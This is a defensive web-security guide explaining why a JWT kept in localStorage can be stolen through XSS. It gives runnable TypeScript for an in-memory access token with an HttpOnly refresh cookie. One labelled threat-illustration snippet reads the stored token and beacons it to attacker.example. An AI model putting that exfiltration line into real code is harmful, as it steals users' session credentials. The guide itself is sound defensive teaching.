Why a JWT in localStorage Is XSS-Vulnerable

Storing a JSON Web Token (JWT) bearer credential in localStorage is the most common — and most quietly dangerous — pattern in single-page application authentication. It looks harmless: a string in, a string out, available across reloads. But the moment any JavaScript on your origin is compromised, that token is gone. A single cross-site scripting (XSS) flaw — in your own code, a third-party analytics tag, or a transitive dependency pulled in through your build — can read localStorage.getItem('token') and ship the value to an attacker-controlled server in one line. This guide is part of Securing Auth Tokens in Browser Storage; it isolates exactly why the localStorage placement is unsafe, shows the threat concretely so you can recognize it in a code review, and walks through a complete, runnable remediation that keeps no bearer credential in any script-readable store.

How an injected script exfiltrates a JWT from localStorage A sequence showing injected JavaScript reading a token from localStorage and POSTing it to an attacker server, contrasted with an HttpOnly cookie that script cannot read. Injected script XSS / supply chain localStorage script-readable token Attacker server receives token getItem POST HttpOnly cookie not script-readable blocked Server only cookie sent by browser Top path: token in JS reach is stealable. Bottom path: credential out of JS reach is not.

The problem stated precisely

A bearer token is a credential that grants access to whoever presents it — the server does not check who sends it, only that the token is valid and unexpired. When that bearer token is a JWT sitting in localStorage, three properties of the Web Storage specification combine into a worst-case outcome:

Put together: the security of your entire session reduces to the security of every line of JavaScript that runs on the origin, forever. That is a far larger and less controllable surface than most teams realize.

Root-cause analysis: a single injected script is enough

The vulnerability does not require a flaw in your authentication code. It requires a flaw anywhere a script can be injected into your origin. The common entry points:

  1. Reflected or stored XSS. An unescaped user-controlled string rendered into the DOM (a comment field, a profile name, a URL parameter echoed back) lets an attacker run arbitrary script in your origin.
  2. A compromised third-party dependency. Front-end apps ship dozens to hundreds of npm packages. A single malicious or hijacked transitive dependency runs with full origin privileges at build time or runtime.
  3. A supply-chain or tag-manager injection. Analytics, A/B testing, chat widgets, and tag managers all execute third-party JavaScript on your page with the same localStorage access your app has.

Any one of these can read the token. Because the token is a self-contained bearer credential, exfiltrating the string is the complete attack — no further privilege escalation is needed. The following snippet is what such an injected script does. It is shown here purely so you recognize the threat in an audit; it is the danger you are defending against, not a tool to deploy:

// THREAT ILLUSTRATION — this is what a single injected script can do.
// Any XSS payload running on your origin executes exactly this.
const stolen = localStorage.getItem('token');
if (stolen) {
  // The token is a bearer credential; sending the string is the whole attack.
  navigator.sendBeacon('https://attacker.example/collect', stolen);
}

navigator.sendBeacon is used here because it fires reliably even as the page unloads and does not block; an fetch with mode: 'no-cors' would work equally well. The point is the brevity: there is no clever exploit, just a getItem and a network call. Encrypting the value in localStorage does not help either, because the same injected script can call whatever decrypt helper your own code uses. This is covered in depth in the parent guide, Securing Auth Tokens in Browser Storage, and the broader threat model is in Storage Security, Encryption & Privacy.

The fix: in-memory access token plus an HttpOnly refresh cookie

The remediation removes the bearer credential from every script-readable surface. Two pieces work together:

An attacker who injects script can still use the access token while the page is open — they share the running context — but they cannot persist it, cannot read the refresh cookie, and lose all access the instant the tab closes or the short access-token lifetime expires. That collapses a permanent credential theft into a transient, contained one.

Step 1 — Server sets the refresh credential as an HttpOnly cookie

The login endpoint returns the access token in the JSON body (for the client to hold in memory) and sets the refresh token as a cookie the browser stores but JavaScript cannot see. This is server-side pseudocode for the response shape — adapt it to your framework:

// Server: response to a successful POST /auth/login
// The refresh token is delivered ONLY via Set-Cookie with HttpOnly.
function buildLoginResponse(accessToken: string, refreshToken: string): {
  body: string;
  headers: Record<string, string>;
} {
  const cookie = [
    `refresh_token=${refreshToken}`,
    'HttpOnly',                 // unreadable from document.cookie / JS
    'Secure',                   // sent only over HTTPS
    'SameSite=Strict',          // not sent on cross-site requests (CSRF defense)
    'Path=/auth',               // scoped to the auth endpoints only
    'Max-Age=1209600',          // 14 days
  ].join('; ');

  return {
    body: JSON.stringify({ accessToken }), // short-lived token for the client memory
    headers: {
      'Content-Type': 'application/json',
      'Set-Cookie': cookie,
    },
  };
}

Step 2 — Hold the access token only in a module-scoped variable

The client keeps the access token in a closure variable inside a module. Nothing writes it to storage. This is the complete, runnable client module:

// auth.ts — the access token never leaves memory.
let accessToken: string | null = null;
let refreshInFlight: Promise<string> | null = null;

/** Call once after the user submits credentials. */
export async function login(email: string, password: string): Promise<void> {
  const res = await fetch('/auth/login', {
    method: 'POST',
    credentials: 'include',            // allow the server to set the HttpOnly cookie
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  if (!res.ok) throw new Error('Login failed');
  const data = (await res.json()) as { accessToken: string };
  accessToken = data.accessToken;      // in memory only — never localStorage
}

/** Silent refresh: exchanges the HttpOnly cookie for a new access token. */
async function refresh(): Promise<string> {
  const res = await fetch('/auth/refresh', {
    method: 'POST',
    credentials: 'include',            // browser attaches the HttpOnly refresh cookie
  });
  if (!res.ok) {
    accessToken = null;
    throw new Error('Session expired');
  }
  const data = (await res.json()) as { accessToken: string };
  accessToken = data.accessToken;
  return accessToken;
}

/** Returns a valid access token, refreshing silently if memory is empty. */
export async function getAccessToken(): Promise<string> {
  if (accessToken) return accessToken;
  // De-duplicate concurrent callers so a page reload triggers one refresh, not many.
  if (!refreshInFlight) {
    refreshInFlight = refresh().finally(() => {
      refreshInFlight = null;
    });
  }
  return refreshInFlight;
}

/** Clears in-memory state and asks the server to invalidate the cookie. */
export async function logout(): Promise<void> {
  accessToken = null;
  await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
}

Step 3 — Attach the token per request and refresh on 401

Wrap fetch so every API call carries the in-memory token and transparently refreshes once if the server reports the token has expired:

// api.ts
import { getAccessToken } from './auth';

export async function apiFetch(input: string, init: RequestInit = {}): Promise<Response> {
  const token = await getAccessToken();
  const withAuth: RequestInit = {
    ...init,
    headers: { ...init.headers, Authorization: `Bearer ${token}` },
  };

  let res = await fetch(input, withAuth);

  // One silent retry if the short-lived access token expired mid-session.
  if (res.status === 401) {
    const fresh = await getAccessToken(); // forces a refresh because memory may be stale
    res = await fetch(input, {
      ...init,
      headers: { ...init.headers, Authorization: `Bearer ${fresh}` },
    });
  }
  return res;
}

On a page reload, accessToken starts null, the first getAccessToken() call performs one silent refresh against the HttpOnly cookie, and the app resumes — at the cost of a single round-trip and with zero bearer credentials ever written to disk. This is the same architecture summarized in the security overview and contrasted with database-style stores in localStorage vs IndexedDB for Auth Tokens.

Verification

Confirm the fix in the browser before you ship it:

  1. Open DevTools → Application → Storage → Local Storage for your origin. After login and a few authenticated requests, there must be no entry containing a token, JWT, or anything resembling a bearer credential. Repeat for Session Storage and IndexedDB.
  2. Open Application → Storage → Cookies. The refresh_token cookie must show HttpOnly = ✓ and Secure = ✓. The HttpOnly flag is what makes it unreadable to script.
  3. In the Console, run the line below. It must return null (or your token must be absent), proving no injected script could read it from storage:
// Should NOT reveal any bearer credential.
console.log(localStorage.getItem('token'), document.cookie.includes('refresh_token'));
// Expect: null false   — cookie is HttpOnly, so document.cookie omits it.

As defense in depth, add a strict Content Security Policy so that even a markup injection cannot load or run attacker script in the first place. A policy such as script-src 'self' (served via the Content-Security-Policy response header) blocks inline and third-party script execution, shrinking the XSS surface that the in-memory design already contains. CSP and the in-memory token model are complementary: CSP reduces the chance of injection, and the architecture limits the damage if injection still happens.

Edge cases and a fallback

Frequently Asked Questions

Does encrypting the JWT before putting it in localStorage make it safe?

No. An injected script runs in your origin and can call the very same decryption routine your application uses, then read or re-encrypt the value at will. Encryption protects data at rest against disk forensics and other-origin reads, but it does nothing against script that already executes on your page. The credential must be moved out of script reach entirely — see Securing Auth Tokens in Browser Storage.

If the access token is in memory, can XSS still use it while the page is open?

Yes, but the damage is sharply contained. Injected script shares the running context, so it can call your authenticated apiFetch while the tab is open. What it cannot do is read the HttpOnly refresh cookie or persist the access token — so access ends when the tab closes or the short token lifetime expires, instead of continuing indefinitely from the attacker’s machine. Combined with a Content Security Policy, this is a far smaller window than a persisted localStorage token.

Is sessionStorage a safer place than localStorage for a token?

No. sessionStorage is just as script-readable; the only difference is that it is cleared when the tab closes. A single injected script reads it with the same getItem call within the session. Narrowing the lifetime is not the same as removing the value from script reach.

Related